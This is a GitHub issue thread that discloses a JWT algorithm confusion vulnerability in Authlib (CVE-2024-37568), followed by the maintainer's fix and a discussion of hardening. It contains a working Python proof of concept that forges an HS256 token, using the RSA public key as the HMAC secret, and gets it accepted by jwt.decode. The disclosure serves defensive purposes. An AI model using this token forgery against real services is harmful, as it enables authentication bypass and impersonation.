Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Algorithm confusion when verifying JSON Web Tokens with asymmetric public keys #654

Closed
milliesolem opened this issue Jun 3, 2024 · 5 comments
Assignees
Labels

Comments

@milliesolem
Copy link

Issue description

If the algorithm field is left unspecified when calling jwt.decode, the library will allow HMAC verification with ANY asymmetric public key. The library does no checks whatsoever to mitigate this. This applies to verification with the algorithms HS256, HS384, and HS512 in lieu of the asymmetric algorithm. This issue is also persistent in joserfc. This vulnerability is similar to CVE-2022-29217 and CVE-2024-33663, however severity is higher as this applies to ALL verification with asymmetric public keys, regardless of format.

The Authlib documentation on JWTs starts off with a code snippet demonstrating JWT signing and verfication of claims using RSA. The code snippet shown is vulnerable to this issue. The documetation does halfway down the page go on to describe the danger of not checking the algorithm header, however does not adequately press the importance of not doing so, nor does the library implement adequate protections against this.

Proposed solution

Same solution as for the patch for CVE-2022-29217 and CVE-2024-33663. A thorough, comprehensive check of whether the verifying key is asymmetric, see here. When performing signature verification with HMAC, first check whether the verifying key is not actually a PEM or SSH-encoded asymmetric public key; this is a clear sign of algorithm confusion.

Also make non-usage of the algorithms keyword throw an exception when using the jwt.decode method, or at the very least a warning, so that the developer at least knows they are doing something silly by not using it. Alternatively, depricate the method an instead only allow usage of the JsonWebToken class, with algorithm as a mandatory parameter and disallow usage of multiple algorithms in a single instance.

Proof-of-Concept

Here is a simplified Proof-of-Concept using pycryptodome for key generation that illustrates one way this could be exploited

from authlib.jose import jwt
from Crypto.PublicKey import RSA
from Crypto.Hash import HMAC, SHA256
import base64

# ----- SETUP -----

# generate an asymmetric RSA keypair
# !! signing should only be possible with the private key !!
KEY = RSA.generate(2048)

# PUBLIC KEY, AVAILABLE TO USER
# CAN BE RECOVERED THROUGH E.G. PUBKEY RECOVERY WITH TWO SIGNATURES:
# https://crypto.stackexchange.com/questions/26188/rsa-public-key-recovery-from-signatures
# https://github.com/FlorianPicca/JWT-Key-Recovery
PUBKEY = KEY.public_key().export_key(format='PEM')

# Sanity check
PRIVKEY = KEY.export_key(format='PEM')
token = jwt.encode({"alg": "RS256"}, {"pwned":False}, PRIVKEY)
claims = jwt.decode(token, PUBKEY)
assert not claims["pwned"]

# ---- CLIENT SIDE -----

# without knowing the private key, a valid token can be constructed
# YIKES!!

b64 = lambda x:base64.urlsafe_b64encode(x).replace(b'=',b'')
payload = b64(b'{"alg":"HS256"}') + b'.' + b64(b'{"pwned":true}')
hasher = HMAC.new(PUBKEY, digestmod=SHA256)
hasher.update(payload)
evil_token = payload + b'.' + b64(hasher.digest())
print("😈",evil_token)

# ---- SERVER SIDE -----

# verify and decode the token using the public key, as is custom
# algorithm field is left unspecified
# but the library will happily still verify without warning, trusting the user-controlled alg field of the token header
data = jwt.decode(evil_token, PUBKEY)
if data["pwned"]:
    print("VULNERABLE")

Disclaimer

As per the security policy, I contacted both the author and Tidelift about this issue in early April of this year. I received a response from Tidelift that they would follow up the issue, however the issue remains unpatched and I have still not heard further from either. As such, I am opening a public issue on this vulnerability.

@lepture
Copy link
Owner

lepture commented Jun 4, 2024

Released v1.3.1

@milliesolem
Copy link
Author

This vulnerability is now tracked under CVE-2024-37568.

After testing, the patch provided in 1.3.1 seems adequate for any imminent exploitation of the vulnerability. However, for future releases, I would recommend the following:

  1. Also make the algorithms field mandatory when decoding, or at the very least throw a warning when not used. The current patch resisted initial security testing by me, but there may be key formats not accounted for. Solving the root cause of this issue would be preferable.
  2. Improve the error message when doing HMAC verification with a public key to more explicitly say what the problem is. I don't think the message "This key may not be safe to import" is adequately intuitive to help developer understand if their usage of the library is secure or not. A message such as "Asymmetric key formats may not be used with HMAC verification" would be much better.

Closing issue in faith that the above gets addressed in time. @lepture

@stigtsp
Copy link

stigtsp commented Jun 10, 2024

@milliesolem Does this mean that CVE-2024-37568 is not fixed by v1.3.1?

@milliesolem
Copy link
Author

@stigtsp It seems fixed, the patch basically introduces a blocklist of public key formats when verifying with HMAC. I was not able to bypass this blocklist. But the patch could be much improved by requiring the developer to specify which algorithm is to be used (see patch for CVE-2022-29217). That way we would know for sure, rather than hoping the blocklist is comprehensive.

@lepture
Copy link
Owner

lepture commented Jun 10, 2024

@stigtsp @milliesolem it is a little hard to keep the compatibility while improve the security. I've changed the behavior in joserfc, you should not pass a string or bytes as the key now.

https://jose.authlib.org/en/
https://github.com/authlib/joserfc/blob/main/src/joserfc/jwk.py#L81

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

3 participants